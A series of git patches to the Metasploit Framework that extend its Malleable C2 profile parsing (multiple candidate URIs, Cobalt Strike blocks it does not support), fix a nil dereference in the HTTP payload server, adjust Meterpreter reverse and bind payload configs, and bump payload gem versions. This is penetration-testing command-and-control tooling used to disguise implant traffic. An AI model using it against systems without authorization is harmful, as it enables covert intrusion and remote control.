a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 7b5f4ed039b7c..33494c3be5113 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -178,7 +178,12 @@ def uris post_uri = http_post.get_set('uri') } - [base_uri, get_uri, post_uri].compact + # A `set uri` value may list several space-separated candidate URIs + # (Cobalt Strike picks one at random per request). Split them out so + # the handler registers a mount for each candidate, otherwise the + # literal "uri-a uri-b" string is registered as a single unmatchable + # resource. + [base_uri, get_uri, post_uri].compact.flat_map {|u| u.split(/\s+/) }.reject(&:empty?).uniq end def wrap_outbound_get(raw_bytes) @@ -348,14 +353,27 @@ def add_header(section, group_tlv) end def add_uri(base_uri, section, group_tlv) - uri = (base_uri || "").dup query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") - unless query_string.empty? - uri << "?" - uri << query_string + + # `set uri` may carry a space-separated list of candidate URIs. Emit + # one TLV_TYPE_C2_URI per candidate so the client can pick one at + # random; an empty/absent uri collapses to a single empty candidate + # to preserve the prior (query-string-only) behaviour. + candidates = (base_uri || "").split(/\s+/).reject(&:empty?) + candidates = [""] if candidates.empty? + + emitted = [] + candidates.each do |candidate| + uri = candidate.dup + unless query_string.empty? + uri << "?" + uri << query_string + end + next if uri.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) + emitted << uri end - group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? - uri + emitted end end @@ -430,8 +448,16 @@ def parse(file) while current_token if match_keyword('set') profile.sets << parse_set - elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + elsif block_ahead? + # Any `name { ... }` is a block. We keep the ones we understand + # (http-get/http-post/etc.) and harmlessly retain the rest — + # unsupported CS blocks like dns-beacon/process-inject/post-ex + # are parsed for structure and simply ignored by to_tlv. profile.sections << parse_section + elsif name_token? + # A stray top-level directive we don't model. Consume it (up to + # its `;`) and move on rather than failing the whole profile. + parse_directive else raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" end @@ -450,19 +476,17 @@ def parse_set end def parse_section - name = expect(:keyword).value + name = expect_name.value expect_symbol('{') section = ParsedSection.new(name) while !match_symbol('}') && current_token if match_keyword('set') section.entries << parse_set - elsif current_token.type == :keyword - if @lexer.is_block_keyword?(current_token.value) - section.sections << parse_section - else - section.entries << parse_directive - end + elsif block_ahead? + section.sections << parse_section + elsif name_token? + section.entries << parse_directive else raise "Unexpected content in block #{name}: #{current_token.value}" end @@ -473,7 +497,7 @@ def parse_section end def parse_directive - type = expect(:keyword).value + type = expect_name.value args = [] while current_token && !match_symbol(';') if [:string, :identifier, :keyword].include?(current_token.type) @@ -491,11 +515,35 @@ def current_token @lexer.tokens[@index] end + def peek_token(offset = 1) + @lexer.tokens[@index + offset] + end + def next_token @index += 1 current_token end + # A bare name that can head a block, directive or set key. Block + # detection no longer depends on a keyword whitelist, so profiles can + # carry CS blocks we don't model (dns-beacon, process-inject, ...) + # without breaking the parse. + def name_token? + t = current_token + !t.nil? && (t.type == :identifier || t.type == :keyword) + end + + # True when the current token names a block, i.e. it's followed by `{`. + def block_ahead? + return false unless name_token? + nt = peek_token(1) + !nt.nil? && nt.type == :symbol && nt.value == '{' + end + + def expect_name + expect([:identifier, :keyword]) + end + def expect(types) token = current_token types = [types] unless types.kind_of?(Array) From 69a5e607215017a0ec6e61ab66002eabb9d7f0d0 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 23:18:18 +1000 Subject: [PATCH 62/65] Add fetch-payload fix as per Diego's comments --- lib/rex/proto/http/server.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 551738884e0cd..bc4d71fa30476 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -292,7 +292,10 @@ def dispatch_request(cli, request) root = request.resource elsif resources[request.resource] p = resources[request.resource] - len = resource_id.length + # This branch is reached when resource_id is nil (e.g. fetch-payload + # adapters have no find_resource_id), so the matched resource is the + # request resource itself — not resource_id, which would nil-deref. + len = request.resource.length root = request.resource else # Search for the resource handler for the requested URL. This is pretty From df91190b516d4f9f66bfafb88259955af729347c Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 3 Jul 2026 11:18:38 +0100 Subject: [PATCH 63/65] Add https://patch-diff.githubusercontent.com/raw/OJ/metasploit-framework/pull/26.diff --- modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 12 files changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index e1e5f3443e55c..063693181ae58 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index e5aeb90c51767..b46c4bdb53bad 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index a6fdc4ca80742..5b8d203f43caf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index b4d6220c27b0f..a9a55e0bcb409 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 9bcf351593fab..4e342fcba40ad 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -59,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index f4385ab26896f..2d871189f9ef3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index a015a949093c6..c363d6106a898 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 3444add57ae10..b44c60cad72b6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 779cbcfd79c6c..301d13c576c97 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 77fa201cb28b3..a362e8b3d1a41 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 3b3223f384201..67af334bada30 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -59,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 1394393edae44..c530b8d0a98dd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end From 6beb47cef86d4a3c4388a3d7098007e18d6055c5 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 3 Jul 2026 11:25:39 +0100 Subject: [PATCH 64/65] Use pre1 --- Gemfile.lock | 8 ++++---- metasploit-framework.gemspec | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 35074de0b00cb..e786731e6903a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -61,9 +61,9 @@ PATH metasploit-concern metasploit-credential (>= 6.0.21) metasploit-model - metasploit-payloads (= 2.0.245) + metasploit-payloads (= 2.0.246.pre.2) metasploit_data_models (>= 6.0.15) - metasploit_payloads-mettle (= 1.0.46) + metasploit_payloads-mettle (= 1.0.48.pre.1) mqtt msgpack (~> 1.6.0) mutex_m @@ -369,7 +369,7 @@ GEM drb mutex_m railties (>= 7.0, < 8.1) - metasploit-payloads (2.0.245) + metasploit-payloads (2.0.246.pre.2) metasploit_data_models (6.0.18) activerecord (>= 7.0, < 8.1) activesupport (>= 7.0, < 8.1) @@ -383,7 +383,7 @@ GEM railties (>= 7.0, < 8.1) recog webrick - metasploit_payloads-mettle (1.0.46) + metasploit_payloads-mettle (1.0.48.pre.1) method_source (1.1.0) mime-types (3.7.0) logger diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ee0a73ed8b027..a0bece8e4c32b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -74,9 +74,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.245' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.246.pre.2' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.46' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.48.pre.1' # Needed by msfgui and other rpc components # Locked until build env can handle newer version. See: https://github.com/msgpack/msgpack-ruby/issues/334 spec.add_runtime_dependency 'msgpack', '~> 1.6.0' From 4d915760204b94cd0ab029e72a66bbe3f07781ad Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 3 Jul 2026 14:39:13 +0100 Subject: [PATCH 65/65] Remove non-ascii chars --- Gemfile.lock | 8 ++++---- lib/msf/base/sessions/mettle_config.rb | 2 +- lib/msf/core/handler/reverse_http.rb | 10 +++++----- lib/msf/core/payload/java/meterpreter_loader.rb | 4 ++-- lib/msf/core/payload/malleable_c2.rb | 4 ++-- lib/rex/proto/http/request.rb | 2 +- lib/rex/proto/http/server.rb | 2 +- metasploit-framework.gemspec | 4 ++-- 8 files changed, 18 insertions(+), 18 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e786731e6903a..4ffb6fb77df8e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -61,9 +61,9 @@ PATH metasploit-concern metasploit-credential (>= 6.0.21) metasploit-model - metasploit-payloads (= 2.0.246.pre.2) + metasploit-payloads (= 2.0.246.pre.3) metasploit_data_models (>= 6.0.15) - metasploit_payloads-mettle (= 1.0.48.pre.1) + metasploit_payloads-mettle (= 1.0.48.pre.2) mqtt msgpack (~> 1.6.0) mutex_m @@ -369,7 +369,7 @@ GEM drb mutex_m railties (>= 7.0, < 8.1) - metasploit-payloads (2.0.246.pre.2) + metasploit-payloads (2.0.246.pre.3) metasploit_data_models (6.0.18) activerecord (>= 7.0, < 8.1) activesupport (>= 7.0, < 8.1) @@ -383,7 +383,7 @@ GEM railties (>= 7.0, < 8.1) recog webrick - metasploit_payloads-mettle (1.0.48.pre.1) + metasploit_payloads-mettle (1.0.48.pre.2) method_source (1.1.0) mime-types (3.7.0) logger diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index 50fb6c252c4ea..cff585cc9fca4 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -135,7 +135,7 @@ def generate_config(opts = {}) # Mettle reserves a fixed 8 KB slot in the binary for the config # block. Catch the overflow here with a useful message instead of # letting the gem's `to_binary` raise a generic "config block too - # large" — baked-in EXTENSIONS= is the usual culprit. + # large" -- baked-in EXTENSIONS= is the usual culprit. if opts[:config_block].length > MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX raise ArgumentError, "Mettle config block (#{opts[:config_block].length} bytes) exceeds the #{MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX}-byte embedded slot. " \ "Drop EXTENSIONS= and `load ` once the session is up." diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index bbbf25c1b993d..b64311139ed19 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -287,14 +287,14 @@ def setup_handler # # * query parameter (profile: `parameter "name";`) # * request header (profile: `header "name";`) - # * trailing path seg (default — no placement directive) + # * trailing path seg (default -- no placement directive) # # For the path case, the URI looks like `/`, where `` # is the profile's per-verb `set uri` if defined, otherwise `LURI` # (each is registered as a separate mount point in `all_uris`). # Taking the last `/`-separated segment skips the base regardless of # which one was used. Profile authors should not put `/` in - # prepend/append directives — that would split the id across segments + # prepend/append directives -- that would split the id across segments # and defeat this scheme. # # If the profile applied `prepend` / `append` / `base64` / `base64url` @@ -325,7 +325,7 @@ def find_resource_id(cli, request) # Reverse the prepend/append + base64 transforms the profile applied # to the id on the payload side. If a declared wrapper is missing from - # the candidate, leave the candidate alone — this is not a payload + # the candidate, leave the candidate alone -- this is not a payload # request, and `process_uri_resource` will return nil for it. def unwrap_profile_uuid(candidate, placement) prefix = placement.prepend.map{|d| d.args[0]}.join('') @@ -357,8 +357,8 @@ def add_response_headers(req, resp) # Return the live meterpreter session whose passive dispatcher is # registered for this bare conn_id, or nil if none matches. Used so - # MC2 traffic — which Rex routes to on_request because the profile - # URI prefix outranks the session's / mount — can still be + # MC2 traffic -- which Rex routes to on_request because the profile + # URI prefix outranks the session's / mount -- can still be # delivered to the right session instead of triggering a fresh # "orphaned attach" on every poll. def session_for_conn_id(bare_conn_id) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index 7ec6087e6ce25..969e0bd59b64f 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -18,7 +18,7 @@ module Payload::Java::MeterpreterLoader include Msf::Sessions::MeterpreterOptions::Java # Resource path the stageless StagelessMain bootstrap reads. Deliberately - # innocuous — no meterpreter/metasploit markers in the name. + # innocuous -- no meterpreter/metasploit markers in the name. STAGELESS_CONFIG_RESOURCE = 'META-INF/data'.freeze STAGELESS_MAIN_CLASS = 'com.metasploit.meterpreter.StagelessMain'.freeze @@ -44,7 +44,7 @@ def stage_payload(opts={}) # # When opts[:stageless] is set, returns a self-contained jar with the # TLV config embedded as a resource and Main-Class pinned to - # StagelessMain — ready to run under `java -jar`. + # StagelessMain -- ready to run under `java -jar`. # def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 33494c3be5113..e905c65f4d093 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -115,7 +115,7 @@ def tokenize(text) # blank line next elsif scanner.scan(/#[^\n]*/) - # comment — anchorless so it matches indented comments too + # comment -- anchorless so it matches indented comments too # (the prior `\s+` rule has already eaten any leading # whitespace by the time we get here) next @@ -450,7 +450,7 @@ def parse(file) profile.sets << parse_set elsif block_ahead? # Any `name { ... }` is a block. We keep the ones we understand - # (http-get/http-post/etc.) and harmlessly retain the rest — + # (http-get/http-post/etc.) and harmlessly retain the rest -- # unsupported CS blocks like dns-beacon/process-inject/post-ex # are parsed for structure and simply ignored by to_tlv. profile.sections << parse_section diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index bf21fdf42d656..388ac20b9be6f 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -219,7 +219,7 @@ def to_s # # Returns a hijacked version of the body that shoves the request's query string in as a - # replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯ + # replacement in cases where there is no body. YOLO! (shrug) # def body str = super || '' diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index bc4d71fa30476..2ebf34a80292d 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -294,7 +294,7 @@ def dispatch_request(cli, request) p = resources[request.resource] # This branch is reached when resource_id is nil (e.g. fetch-payload # adapters have no find_resource_id), so the matched resource is the - # request resource itself — not resource_id, which would nil-deref. + # request resource itself -- not resource_id, which would nil-deref. len = request.resource.length root = request.resource else diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index a0bece8e4c32b..33893fd7ab49e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -74,9 +74,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.246.pre.2' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.246.pre.3' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.48.pre.1' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.48.pre.2' # Needed by msfgui and other rpc components # Locked until build env can handle newer version. See: https://github.com/msgpack/msgpack-ruby/issues/334 spec.add_runtime_dependency 'msgpack', '~> 1.6.0'